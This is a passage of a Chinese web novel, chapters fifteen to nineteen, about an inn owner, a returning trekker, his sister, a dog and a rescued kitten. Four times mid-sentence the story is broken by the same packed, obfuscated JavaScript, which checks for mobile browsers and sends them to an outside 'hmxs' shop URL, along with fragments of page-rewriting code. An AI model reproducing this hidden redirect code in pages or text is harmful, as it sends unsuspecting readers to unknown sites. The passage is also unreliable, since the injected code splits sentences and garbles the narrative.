“知道了,磊哥,我安顿好客人再来跟你们会合。” - 见到江雨凝的第一眼,你非常确定她是江子墨的亲人。 相似的眉眼,几乎一模一样的气质,只有血缘关系才能印证这种外貌特征。 帅师傅搬下后备箱的行李,自告奋勇帮你们送回民宿。 江雨凝脸色微微泛白,嘴唇的血色稍稍恢复了一些。“你是春夜雨声的老板?”她握住你的手,神情略显犹豫,“我以为……” 帅师傅接过话茬:“江老板文武双全,放在古代是女中豪杰、巾帼英雄,放在现代是三八红旗手!” “感谢帅师傅的表扬,我继续努力。” 你笑着摆摆手,掏出羽绒服口袋里的牛奶糖,递给江雨凝。 她接了糖果,一时手抖撕不开包装纸。 你连忙帮她撕开:“我这就联系林场医务室的萧医生。” “不用麻烦。”江雨凝说,“我心急赶路,早饭午饭都没吃才这样,缓一缓就好了。” “稳妥起见,还是请萧医生过来看看吧!”你拨通医务室值班电话,向萧雪说明情况,得到的答复是半小时后出诊。 进了民宿大门,你找好一次性拖鞋让他们先坐,而后冲进厨房加热糖三角和纯牛奶。江雨凝吃了简餐,脸色渐渐红润。 萧医生赶来为江雨凝做了问诊停诊,量了血压体温,给出的方案是规律吃饭、休息观察。 帅师傅见问题不大便要告辞,你拦住他:“我上午新做的蓝莓夹心蛋糕,您给大姐带两块回去尝尝。”话音未落,你已经打包好蛋糕拿给了他。 江雨凝看得目不转睛,眼中流露出满满的赞赏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032608|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你这双手,像变魔术似的。” 忙完手头的活计,你把江雨凝的行李搬进打扫一新的115房间。 “这间房朝南采光好,和我住的111门对门,有事你随时过来喊我。这会儿有什么不舒服吗?头还晕吗?” 江雨凝所答非所问:“我是江子墨的姐姐。” 你说:“我猜到了,你们姐弟俩长得很像。” “有一点你猜不到。”江雨凝邀你坐下聊,“子墨嘴很严,他怕我中断他的计划接他回家,没透露一点位置线索。我自己找上门,就是想看看他挂在嘴边夸了又夸的人和民宿究竟什么样。” 你吃惊不小:“好多人知道定位还找不到呢,你是怎么做到的?” 江雨凝问你浴袍存放在哪里,你从门后衣柜摘了一件给她。 “刺绣胸标是民宿名,子墨发的照片看得很清晰。”她说,“网上能搜到的信息少得可怜,我先是坐飞机到省会,之后换乘火车到县城,逗留了将近一周的时间,终于从网约车司机那里打听到了春夜雨声。” 你由衷地钦佩眼前这位奇女子。 如果说你无法理解敢于挑战极限的江子墨,此时江雨凝站在你面前,你的认知随之焕然一新。 冒险精神是刻在基因里的。 年龄、性别、职业、学识,都与这种骨子里散发的魅力无关。 你把江子墨住店前后发生的事和盘托出。只隐瞒了他可能是主动减衣造成失温的存疑“真相”。 “念月,多亏有你。”江雨凝眼眶发红,紧紧握住你的手,“你是我们家的大恩人。” 你抬起左手,轻拍她的背。 一向不会安慰人的你,只能用无声胜有声的安抚方式,疏导对方复杂的情绪。 不知过了多久,江雨凝坐直身体,说要送你一件礼物。 “子墨和我家外甥是好朋友,和我也是朋友。”你说,“朋友之间不用客气。” 江雨凝打开行李箱,取出隔层里一只A4纸大小的紫缎锦盒。“我亲手绣的,你不收下我就天天念叨。”她展开绣品的一瞬间,你愣在了原地。 《千里江山图》? 没错,是用绝美绣线和精湛针法还原的千里江山图。 “你是怎么做到的?”你重复着你的惊叹,“雨凝,你真是一位大艺术家!你太棒了,能和你成为朋友是我的荣幸!” 江雨凝脸颊飞红:“哎呀,你夸我我特别爱听呢!” “你这幅作品价值连城,我必须收下!”你双手接过绣品,身体站得笔直,“我把它好好装裱起来,挂在一楼大厅,让更多人看见。” 说完,你们相视而笑。 “好好睡一觉,雨凝,晚饭好了我来叫你。” 关上房门,你心里有点打鼓。要不要告诉她江子墨昨晚路遇东北虎的险境?说与不说,你都为难。 大家和悠悠还在等我,老夏也在等我。一年一度的滑冰车比赛,人齐了才能开赛。东北虎的事先放一放。你想,晚上聊天找机会再说吧! 16. 第十六章 夜深了。 你换上连帽防寒羽绒服,戴好口罩,坐上等在门口的出租车,前往当地一家规模较小的宾馆。你刚刚在那里订了一间房。这家被私生粉发现的酒店你没退房,行李也没有搬,以免被不知名人士追踪到你最新的行程。 明天在冷极点直播,需要和小熊连麦,那时你的位置就摆在了明面上。 整晚辗转反侧。 天色微亮,睡眼惺忪的你冲了个澡,冲去满身的疲惫。你退了小宾馆的房,依然戴好帽子口罩,混入早起上班上学的人群中,在街边随机找了一家早餐店。 热汤面下肚,你的干劲回来了。 返回之前那家酒店,你带齐装备出发。 以你徒步行进的速度,上午十一点能抵达冷极点。只要中间不出岔子,今天的直播一定会很顺利。 计划归计划,对于可能出现的变数你做好了充足准备。 时近十点半,你路过一家菜市场。买了瓶装水和自热米饭,你继续往前走。离开春夜雨声的一个月,你的三餐以速食为主,只有住店才能吃到新鲜蔬菜水果。口腔溃疡、皮肤干燥,这些都是小事。最近你总是觉得心慌气短,看来今天直播过后,你得去市医院挂号,好好做个体检。 粉丝们夸你是徒步兼任美食博主,然而这段时间你毫无做饭炒菜的心思。背包里的空气炉和锅碗瓢盆也闲置已久。 返程途中,这种情况应该会得到改善吧? 行至距离冷极点十公里处,你找到一片空地稍事休息。吃过自热米饭,你用瓶子里剩余的尚未结冰的水洗了把脸。 姐姐说得没错。 潼城的冷,与根河完全无法可比。这个滴水成冰的季节,你裸露在外的脸部手部皮肤,接触水的一刹那,神经敏锐的触角立即将冰冻的感觉传遍全身——你像被扔进一个具备速冻功能的容器,整个人瞬间冻结。 尤其是你的心。 奇怪的是,心慌气短的症状消失了。全身血液似在沸腾,你只觉四肢末梢热得发烫。 清醒状态下失温,这是你最不愿经历的。 你迅速查询地图,寄希望于网约车。但是此地远离市区,近处车的数量寥寥无几。别无他法,你只得去大路上拦车。 类似情形在棉花糖小时候发生过。 那次是因为高速因冻雨结冰封路,交通帮你拦了一辆路过的皮卡。司机师傅人特别好,不仅把你和棉花糖送到服务区,还请你们吃了牛肉面和鸡胸肉。 时过境迁,如今你的形象和流浪汉如出一辙,拦车的成功率愈发渺茫。 想归想,行动上你没有丝毫的迟疑。 第一辆车是大货,你直接忽略。第二辆和第三辆都是私家车,你尝试失败。第四辆车离得近了,你正要举起右手大拇指,它开了过去。 你无奈地摇头,继续等待第五辆车。 望着与雪山云层完美融合的天际线,你耳畔传来车轮在冰面打滑的声响——不知怎的,第四辆车慢慢倒了回来。 副驾驶车窗打开,一个年纪与你相仿的男人问你是不是江子墨。 “我是。”你的脸几乎冻僵,笑起来非常不自然,“我想去冷极点,方便捎我一程吗?” 副驾驶的男人开门下车,拉开后排座车门,热情地说:“上车吧,快上车!” 你坐进车里,男人让司机师傅把暖风开大,同时叮嘱你系好安全带。“我是你的粉丝。”男人兴奋地说,“本来我们是去冷极点看你直播的,能提前在路上碰见你真是有缘!” “谢谢支持,也谢谢你们让我搭车。”你周身发烫的感觉没那么明显了,大脑也恢复正常运转。 “不客气。”男人忽地转身,胳膊伸得老长递给你一张名片,“忘了自我介绍,我是根河市文旅局的,负责宣传工作。” “幸会,郭科长。” “你比我大两岁,称呼我小郭就行。” 聊了会儿天,郭科长拿给你一瓶水,让你休息调整。你把这次直播的纸质版文案草稿拿给他过目,同时请他多提宝贵意见。 “写得真好!”郭科长赞叹不已,“你不愧是我们这些粉丝喜欢的大佬,这思路,这文笔,把我们根河夸得像是小瑞士……” “打断一下。”你轻轻抬起手,“根河和我走过的所有山川一样美,无需跟外国比较。” 郭科长尴尬了几秒,很快转移话题:“直播定在中午十二点,你的午饭怎么安排?” 你说打算直播后去冷极村大集,尝尝本地特色菜。 郭科长发出邀请,说他代表文旅部门请你吃饭。你婉拒了,说你最近被私生粉跟踪,不想因为这事给别人带来困扰和麻烦。 “这样啊……”郭科长犹豫地说,“需不需要我们帮你联系一辆内部车,等你吃完饭送你回得耳布尔镇?” 你略作思忖,接受了郭科长的好意。但你说往返油费必须由你出,否则就算了。 郭科长搓搓双手:“作为你的粉丝,我佩服得五体投地。作为文旅工作人员,你要是坚持付油钱,我们这些东道主就太失礼了。” 司机师傅突然帮腔:“小伙子,你不收一分钱报酬宣传根河,又不让我们尽地主之谊,这说不过去。” 你正不知如何答话,手机铃声响彻四周。 来电是陌生号码。 刚一接听,尖锐的笑声震得你耳膜生疼。 “哈哈,对,就是这样……哎,电话通了,我来说我来说!” 熊沐栩? “江子墨,做好连麦的准备了吗?”她的问题咄咄逼人,“昨晚我让朋友给你点的烧烤你为什么不吃?浪费食物可耻,你不吃也不该扔掉啊!” “我不吃来路不明的东西。” “哦,懂了,你只吃当着你面做的饭菜。”熊沐栩不再嘻嘻哈哈,“直播过后,我叫我在根河的两个朋友请你吃饭,正规饭店,正规厨师,经得起你的检验。” “不用了,我有自己的计划。” 你要挂机,对方却尖叫一声,紧接着是压低嗓门的威胁。“别给脸不要脸!你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037094|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道吗?我的朋友遍天下,随便找两个都能收拾你。” “不错,直播的时候你记得把这句加上。”你不禁笑了,“我从来没跟女主播连过线,今天你一定要好好表现。” “我出了名的伶牙俐齿,谁怕谁啊?” “直播流程一共五项内容,根河的地理知识、根河的特色景点、根河的美食和风土人情,最后一个主题是与春天有关的诗词,大前天我给你发了信息,估计你看都没看。” 熊沐栩被你反问得哑口无言,好久才说:“又不是什么天书,我现看也来得及!” 结束通话,你的想法及时刷新。 “郭科长,我有个请求。” “尽管提,只要我能做到的!” 你言简意赅,说了今天直播的流程和下播时间点,以及下半天的行程。“走进冷极村美食大集,我会拍摄制作视频的素材,时长大概半小时。我想邀请两至三位文旅局的工作人员扮演我的粉丝,与我进行现场互动。” “没问题,小事一桩!” “为了保护出镜人员的肖像权,后期制作我会加上可爱的萌宠头像遮盖他们的面部。” 郭科长立刻拿起手机联系同事:“大佬就是大佬,想得真周到,我这就找人!” - 下播之后,你和郭科长安排的人选进入冷极村,围绕着美食拍摄了将近五十分钟的素材。 午饭的就餐点,也是文旅局选好的。你感谢了大家的热情款待,端起酒杯,挨个敬了一圈。多年不饮酒的你,饭后只觉头晕眼花,却坚持着付了饭钱,并且打了一辆返回得耳布尔镇的网约车。 不知过了几个钟头,司机叫醒你时外面天色已暗。 “你可算醒了。”网约车司机一副谢天谢地的表情,“路上这梦话说的,听得我一个头两个大。你要是总不醒,我恐怕得送你去医院醒酒!” “给您添麻烦了。”你抱紧怀里的土特产购物袋,“我这就付车费。” 汽车驶离视野,你立在寒风中醒酒。 一弯新月悄悄跃上枝头。 你仰望夜空,心中豁然开朗。今天直播连麦掉粉了,数量约七八千。随后在古诗词环节,粉丝又涨了回来。 尊重每个人的喜好和选择。 对你而言,看淡聚散,看淡一切,惟有橱窗要满满当当地上架当地特产。怀里这只袋子,装满了根河市本地特色卜留克、榛仁和野蘑菇,你答应郭科长,把这些美食推荐给全国各地的网友。 而袋子里装的,是带回春夜雨声送给江念月的。 走进酒店房间,你洗了脸换了衣服,着手整理装备。 打包完毕,你重新订了火车站百米之内的酒店客房。坐上出租车,你归心似箭。不去想姐姐会放怎样的语言大招斥责你,也忽视社交平台对你今天这场直播的评价,你只想乘坐明早首班火车离开此地。 车窗外,街景如飘忽梦境般疾速闪过。 天上那轮弯月始终凝望着你,净澈而柔美,像极了她的眼睛。 17. 第十七章 又到了上山替换红外相机存储卡的日子。 雪后初霁。 你解开悠悠的牵引绳,让它走在你的前面。立春节气过后,天气明显回暖。你把悠悠的厚马甲换成手工缝制的半袖夹袄,颜色是鲜艳的橘皮橙,它很喜欢,穿上也很精神。 小动物们也感受到了即将到来的春天。 上山途中,你遇见一只管护站救助过的雄性狍子。因为它智商不在线但脾气火爆,所以杨站长给它起名朝天椒。 它蹦蹦跳跳地来到你和悠悠附近,在距离两三米开外的位置收住了蹄子。 “朝天椒。”你喊它名字,“你今天去没去管护站?上个礼拜杨站长他们囤了五十公斤玉米,喂你吃了没有?” 狍子瞪着你,鼻孔喷出白白的雾气。悠悠见状,喉咙深处响起具有防御性质的闷哼。 你俯身,摸摸悠悠的后背:“宝贝,没事的,朝天椒没吃着玉米有点生气。” 悠悠后退半米远,紧贴着一棵红皮云杉站定,做好随时战斗的准备。你无奈地呼唤悠悠几声,它却固守“阵地”,一动不动。 不同物种之间的交流可能全凭直觉吧?你想。 狍子的脑回路肯定和金毛犬不同,但警惕和戒备是共通的——朝天椒鼻息很重,乌溜溜的大眼睛左瞧右看,不清楚它下一步要干什么。 “悠悠,咱俩从冰湖绕过去。”你叹口气,重新拴上牵引绳,打算带领悠悠走另一条上山的路。 朝天椒忽然往前一跃,眼神直勾勾地挡住了你们的去路,凑近了拿鼻头触碰你的斜挎包。 “你的嗅觉很灵敏嘛!隔着包装袋都能闻见甜玉米的香味。” 把悠悠的牵引绳用弹簧登山扣固定在外套腰带的绳结上,你拉开包包拉链,取出一包玉米粒,撕开封口,倒在掌心。 朝天椒呜呜嗯嗯地叫了几声,甩了甩脑袋,仿佛提醒你这些都不够它塞牙缝的。别无他法,你只得掏出剩余五包玉米粒,连同手心里的,全部倒在脚边一块光滑的大石头上。 “吃吧,微波炉叮过,不冰嘴。”趁朝天椒低头,你轻抚它的后脑勺,“不够吃去春夜雨声找我,记得敲门,不许像上次那样突然闯进来,玻璃门撞坏了是小事,划一身口子你得养三个月的伤。” 朝天椒听懂了,轻轻哼了两声。 带着悠悠绕过云杉林,不远处是三年前林场种下的樟子松林。那时民宿仅有零星住客,你投入大把时间担任志愿者。每种下一颗树苗,你的心就轻盈一分。十亩地,五十亩地,近百亩地,这里有你辛勤劳动的足迹,也有悠悠跑来跑去的爪印。 果然,走进熟悉的樟子松林,悠悠紧张的情绪缓和了许多。 它的步速无法与三年前相比,精神头却没太大变化,依然对周围的一切保持热情,东嗅西闻,似乎在寻找被它标记过的那些松树。 你拉开衣袖,看看腕表显示的当前时间,朗声提醒悠悠:“宝贝,我们不能耽搁太久。今天有九位客人办理入住,雨凝姨姨一个人忙不过来,妈妈要尽快赶回去做午饭。” “汪!”悠悠答应得挺干脆,然而行动上一直磨磨蹭蹭。 “你闻见什么气味了?” 它停在一棵樟子松旁,两只前爪试探地刨了将近五分钟。起初你有些心急,后来反而平静下来,慢慢蹲下,默默等待“宝藏”的挖掘。 悠悠的努力很快有了成果。 两颗纽扣映入你的视野:一颗是你那件紫丁香色羊绒衫下摆的装饰纽扣,找了好久没找到;另一颗纽扣十分眼熟,宝蓝色椭圆形,像是男装的扣子。你好像在谁的衣服上见过,只是一时半会儿想不起来衣服的主人是谁。 “宝贝,你什么时候藏的时光宝盒啊?” 悠悠汪汪汪叫了三声。 三年,三个月,三天?你笑了,一手抱紧悠悠脖子,另一只手捡起松树下的纽扣。 “我们悠悠审美真好!这颗神秘纽扣妈妈先帮你保管吧,如果哪天它的主人现身,咱们一定记得还给人家。” 直起身,你和悠悠继续爬坡。 “跟妈妈说实话,这扣子是客人不小心脱落被你发现的,还是你偷偷从人家衣服上咬掉的?” 悠悠咧开嘴巴,笑容掩藏不住心虚。 “也不知道谁被你盯上了,但愿他丢了一颗扣子只影响美观,不影响衣服的保暖吧。”红外相机尽在咫尺,你摘下手套,取出挎包里的备用存储卡。 替换过程很顺利。 你打算直接把存满影像资料的卡送去管护站,返回时去一趟冰湖木屋,察看那里是否被野生猫科动物选中当作育儿室。 毕竟此类事件以前发生过多起,不管是猞猁还是豹猫,它们都觉得那间小木屋是春季最佳的分娩地点。 你担心自己和悠悠的突然出现,吓到正处于产褥期的母猞猁。 杨站长倒是不担心。他坦言,被小动物相中的人和地方绝对安全。“小月,你放一万个心,它们早就打探了你的为人。在这片林子里,你的人品那是相当有口碑。” 这样的赞誉,在你听来是近乎完美的童话故事。 林子里动物的确不少,你每次上山都能与它们相遇。但是春夜雨声开业十九年,小楼方圆百米除了觅食的松鼠和鸟儿,你没有看到过野生猫科动物,尤其是警惕心极强的猞猁。 思绪不知不觉飘远,棉花糖那双宝石般的鸳鸯眼,骤然闪现在你的脑海。 过度信任人类不是好事。 棉花糖的遭遇,悠悠的经历,印证你的观点。 悠悠出生地是一间非正规犬舍,天生就有关节问题。它的妈妈是一只被囚禁于铁笼的繁育犬,饮食饥一顿饱一顿加上长年不见阳光,严重营养不良导致重病缠身。悠悠的第一任主人对它不好,得知它有关节炎症便将它遗弃街头。后来,悠悠在宠物市场被人二次贩卖时遇到周嘉骆团队,迎来了它狗生的转折点。再后来,老夏领养了悠悠,它终于过上了无忧无虑的好日子。 悠悠的妈妈没这么幸运。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041094|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那间后院犬舍被查封时,铁笼里的繁育犬因病情过重无一生还。从周嘉骆那里听到消息,你和老夏沉默良久,而后毫不犹豫地,以志愿者身份加入小周团队,为领养代替购买的线下宣传活动出钱出力。 春夜雨声的淡季是夏秋之交。 你每年这个时段一定会返回燕都,投身救助流浪动物。近几年,曹磊也成为一名志愿者,他常常感慨,说能从这些重获新生的小动物身上感受到真实的爱与信任。 管护站映入眼帘的一瞬,你注意到杨站长正在和谁互相推搡。 “怎么了?”你连忙跑到跟前,“有话好好说,别打架,都冷静冷静!” 悠悠汪汪汪吠叫不止,冲上去叼住黑衣男人的裤脚。 “小月,我们没打架。”杨站长撤后半步,怀里赫然多出一个鼓鼓囊囊的购物袋,“江子墨非要送我根河的土特产,我不要他不干哪!还有上个月他来买柴火藏了一件羽绒服在站点,我说让他拿回去他跟我急眼,你说这事儿闹的……” 头发乱蓬蓬的江子墨转过头,视线恰巧与你对上。 你又惊又喜:“欢迎回来!” 他笑了,举起手匆忙整理发型:“没给我姐发信息是怕她骂我。没给你发信息是想着在木屋那边露营一晚,说不定悠悠能凭借气味找到我。” 话音未落,悠悠往后退的力道越来越大。 嘶啦一声,江子墨的休闲裤裤脚被撕开一块十厘米见方的布料。 “哟,真没想到,悠悠是个心灵嘴巧的大裁缝!”他一点都不恼火,原地蹲下摸摸悠悠的脑袋瓜,“你不乖,要么吓唬我,要么咬坏我的裤子——我背包里的牛肉冻干,送给别的狗狗吃吧。” 呜—— 悠悠吐掉嘴里的布料,仰天模仿狼啸。它既想吃零食,又没有一丝愧疚之意。 “对不起。”你赧然一笑,“我买条新的赔给你。” “不用。”江子墨也笑,“一模一样的裤子我有六条。对,你没听错,大家以为我从来不换裤子,其实我是觉得好穿,回购了好几次。” “稍等我一下。”你拿出存储卡,本来要直接递给杨站长,却发觉他怀抱土特产和羽绒服,实在腾不开手。 “搁大厅桌子上吧。”杨站长爽快地说,“小月,你赶紧带这臭小子理个发洗个澡,别让他在林子里遛达。快过年了,他这副样子像个野人,万一误闯狩猎圈,小命该不保了。” “收到,杨哥!”你抬眸看看江子墨,“露营有的是机会。你的当务之急是回春夜雨声理发洗澡。再说了,雨凝也在等你。” - 风铃随风摇曳,你们推开门,迎面是一道空气清新剂在阳光折射下形成的彩虹。 江雨凝瞅见江子墨,先是愣了片刻,随即巴掌就招呼过来。 “你怎么不在零下四十度的根河定居啊?你还知道回来!” “姐,给我一分钟……”江子墨脸色通红,“等我把礼物送给念月,你再揍我行不?” 18. 第十八章 姐姐又赏了你一巴掌:“算你有良心,知道给小月买礼物。”从江念月手中接过悠悠的牵引绳,姐姐的语气尽含警告的意味:“我带悠悠换衣服去,过会儿收拾你!” 你回身,抱歉地说:“让你见笑了。” 江念月轻轻摇头:“怎么会?姐弟这样的相处模式再正常不过,我还羡慕雨凝和你呢!” 你蓦然想起,罗亦柯曾提过江念月生活在重组家庭,她的父母离婚后各自再婚,分别生下一儿一女,两个小孩都很喜欢江念月这个姐姐。只是他们年龄相差太大,平时也不在一起居住。江念月独自在外闯荡,逢年过节才和她的妹妹弟弟见面,时间越久关系就越发生疏了。 你切换话题,问江念月今天的客流如何,需不需要提前准备午餐食材。 “自从有了帅师傅鼎力推荐,春夜雨声的入住率始终保持在百分之八十五以上。你采购的那批木柴也派上了用场,大厅的温度每天都能超过20度,不像以前那么冷了。”江念月的视线落在她送你的斜挎包上,“徒步四十天,这个包包还能保持干净,你怎么做到的?” “住店休整的时候我把它洗干净了。”你打开挎包,掏出卡通造型的钥匙扣,“刚才上山,我遇见一只狍子,和我买的这个挂件一模一样,送给你。” “是吗?你也遇见朝天椒啦?”江念月笑了,伸手接下钥匙扣,她好奇地问,“它是出了名的调皮,没拦你的路索要零食吧?” 你实话实说:“小家伙胃口不错,把我从大集买的烤红薯全吃掉了……” “哎,江子墨,你是葛朗台吗?”姐姐忽然跑了过来,盯着江念月手里的钥匙扣,“以后你别说你是我弟,我嫌丢人。” “姐,你误会了……” “别叫我姐!”姐姐狠狠瞪你一眼,转身一把握住江念月的手,“明天跟我坐火车去市里,我给你买个大金镯子!” “雨凝,是朋友就不要说这话。”江念月嗓音柔和,“不管子墨送什么礼物我都喜欢。” “金镯子是你应得的,不许推辞。”姐姐命令似的说,“我代江子墨向你道歉,他这些年天天丈量地球,不和人打交道,脑子瓜得很,你别往心里去。” “不至于,雨凝,我没生气。” 你半天插不上一句话。 好不容易等姐姐沉默了,你连忙打开登山包,取出装满根河土特产的大袋子,以及一条你精心挑选的补天玉手串。 “念月,你收着。” “这是什么材质?火山石?”姐姐低头瞅瞅盒子里的彩玉手串,“你说带着棉花糖的胡须爬火山,然后买了一串这个回来?” “姐,别打岔,听我说完。”你将小盒摆在茶几上触手可及的位置,“补天玉确实是火山喷发形成的宝石。我选的这串一共九颗珠子,颜色外形是太阳系八大行星和被除名的冥王星。没有特殊的意义,就是听当地人说天然矿过度开采,往后可能买不到了。” 江念月迟疑片刻,把装手串的饰品盒推回你面前:“太贵重了,我不能要。” 你本想劝她收下,姐姐的手速比你快。 “拿着!” 话音萦绕耳畔,手串已经戴在了江念月右手手腕。 “小月皮肤白,戴上真好看!”姐姐边夸江念月边瞪你,“今天先不收拾你了。” “遵命!”你站得笔直,神情也异常严肃,“我换身衣服就洗菜切菜,当好主厨的小跟班。” 一句话逗得姐姐和江念月相视而笑。 或许是从沙发起身的动作幅度过大,你的头发飞出几片草叶,不偏不倚飘落在两位女士脚边。 她们同时看向你鸟窝般的个性发型,笑得更起劲了。 江念月半天才止住笑。 她抬起手,拈走粘在你肩头的松针:“时间还早,你洗个澡刮刮胡子。累了这么多天,你最需要的是休息。” 姐姐表示同意:“小月说的有道理。你去捯饬一下自己,别像个流浪汉到处吓唬人,害得我在人前抬不起头。” 你失笑:“姐……” “回头我给你找个发圈把长头发扎起来。”姐姐递给你房卡,顺手推你一把,“这次你住一楼,117,去吧!” - 一个多月的长途跋涉,你头发生长的速度比闲暇时快几倍。 洗完澡,你吹干头发,换上你在得耳布尔镇住店洗净的内外衣裤。镜子里的长发男子,让你觉得陌生。 些许白发点缀在黑发之间。 尤其是发际线和鬓角,你凝视着镜中人,无声地叹了口气。 门口传来悠悠的叫声,汪汪,汪汪汪。 你立即跑去开门。 悠悠察觉出你的紧张,却坚定而准确地将它的下巴搁在你的脚背上。趁你动弹不得,它左前爪扒拉两下,从胸口的毛发里扒出一个小号透明袋。 你拾起袋子,发现里面是一根粉色发圈。 姐姐的声音极具穿透力,由前台传至你的房间门口:“我和小月的备用发圈只有这个颜色了,你凑合用。明天跟我俩去市里,理发或者买新发圈,你自己决定。” “知道了。” 你随手扎个马尾,俯身摸摸悠悠,问它愿不愿意一块儿去厨房。悠悠哼了一声,起身朝相反的方向走。 它的背影消失在影音室。 你等了半分钟,醒过神赶忙追上去,谁料它又从影音室大摇大摆走了出来。 悠悠瞧见你,低下头吐出嘴里叼的东西。 一枚宝蓝色纽扣滚落,你只觉眼熟。悠悠冲你摇尾巴,咧开嘴笑,像是提示你仔细看看这颗扣子。 当你把纽扣捡起放在手心,你的目光瞬时锁定身上穿的蓝色羊毛开衫。 胸口处缺的那颗扣子,原来被悠悠找到了! “好狗狗!”你激动不已,努力克服怕狗的童年阴影,搂了一下悠悠又迅速松开了手。 悠悠志得意满,在你面前打个滚,走进111房间趴到了地毯上。 你握紧失而复得的纽扣,走进厨房的第一件事就是告诉江念月,悠悠是条智商超高的好狗。 正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048168|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在烤箱前忙碌的她,不等你说完就匆匆打断:“帮我切断电源,玉米和红薯好像烤糊了。” 你眼疾手快拔掉烤箱插头,及时化解危机。 推开厨房面北的窗户,冷风灌了进来。你们戴好隔热手套,尽可能快地取出不停冒烟的玉米红薯,全部放在窗台外面散味散热。 “忙中出错,说的就是我。”江念月并不气馁,“没关系,重新烤一炉时间够用。”她回过头,刚要和你商量什么,突然望着你身上穿的羊毛开衫陷入沉思。 “我丢的扣子,被悠悠找到了。”你兴奋地说,“我以为丢在去根河的路上,结果丢在了春夜雨声。幸好有聪明的悠悠帮忙,我得多买几包零食犒劳它……” “不,不是你想的那样。” 江念月把悠悠带她去樟子松林挖宝藏的事情讲给你听,还帮你捋清悠悠进出你房间的时间线。 你恍然大悟。 前因是你入住春夜雨声那天发高烧,悠悠见大家都在忙,趁你房间没人守着溜进来咬掉你毛衣上的一颗纽扣。 后果是它独自前往冰湖附近,找了一棵它喜欢的樟子松,藏起这颗扣子。 “监控录像设定的六十天覆盖,所以悠悠行踪还有视频证据,你要看吗?” 你摆手:“这小家伙,咬掉我衣服上的扣子干嘛?难道它喜欢这些闪闪发亮的装饰物,想留下做个纪念?” 江念月欲言又止。 “小动物的心思我猜不透,索性不猜了。”你说,“烤糊的玉米和红薯等一下我来处理。念月,今天午饭的菜单都是哪些菜,我把它们找齐提前洗好切好,这样效率更高。” 她递给你纸质版菜单:“目前只有白菜萝卜土豆的库存最充足。” “加一道后园大棚的绿菜怎么样?”你问。 “上个礼拜照明系统和自动灌溉出了故障,我和雨凝排查半天没找到原因。”江念月拉开地下室的门,“能冷冻的绿菜我们都放冰柜里了,有香菜、西蓝花、小白菜和豆角。你出个主意,炖汤还是焯水拌凉菜?” “有没有干海带丝?” “有。” “行,交给我吧!”你把洗净擦干的玉米红薯摆在烤盘上,“念月你定好温度和时长,我来泡发海带丝。中午请大家尝尝江子墨独创的凉拌菜,保准全是好评!” - 上午十点,预约入住的客人依次到店。 姐姐在前台负责住客登记,江念月开始蒸米饭蒸面点,而你抽空去了一趟地下室。 找齐冷冻豆角和西蓝花,你盖上冰柜盖子。 这里没有供暖系统,室温却不算低。你看着墙上的温度湿度计,头顶的灯忽然闪了一下。 你身后东南方向的角落,似乎有微弱的猫叫声。 呼吸瞬间凝窒在你胸口。 循着声音,你蹑手蹑脚地靠近堆放雨布的墙角。慢慢放下手中的冷冻菜保鲜盒,你轻轻揭开雨布。 眼睛紧闭脐带尚未脱落的新生猫崽,蠕动着身体,发出它能发出的最响亮的求救信号。 19. 第十九章 今天午餐的主食是米饭和红枣发糕,蒸箱定时二十五分钟。你操作完毕,戴上手套准备腌制把子肉,手机突然进来一条消息。 “念月,地下室有只小猫。是等母猫出现,还是立刻开始人工喂养?” 新消息紧随而至。 图片映入眼帘,你的心不由得揪紧了。 躺在江子墨掌心的,是一只没睁眼的婴儿猫。 你暂停手里的活计,从厨房门后摘下一条洗净晾干的擦手巾,火速跑进地下室。 不及细想,你第一时间接过江子墨掌心的小猫,用擦手巾包裹它因寒冷而发抖的身体。 “储藏室有舒化奶,隔水热了先给它喂一点。” “好。”江子墨应着,同时将地下室换气窗被雨布遮挡的破损处指给你看,“母猫从这儿进来的。我在墙上发现了爪印和抓痕,应该是母猫叼着幼崽搬家跳上跳下造成的。这只小猫是弱胎,两个前爪有残疾,可能被它妈妈抛弃了。” 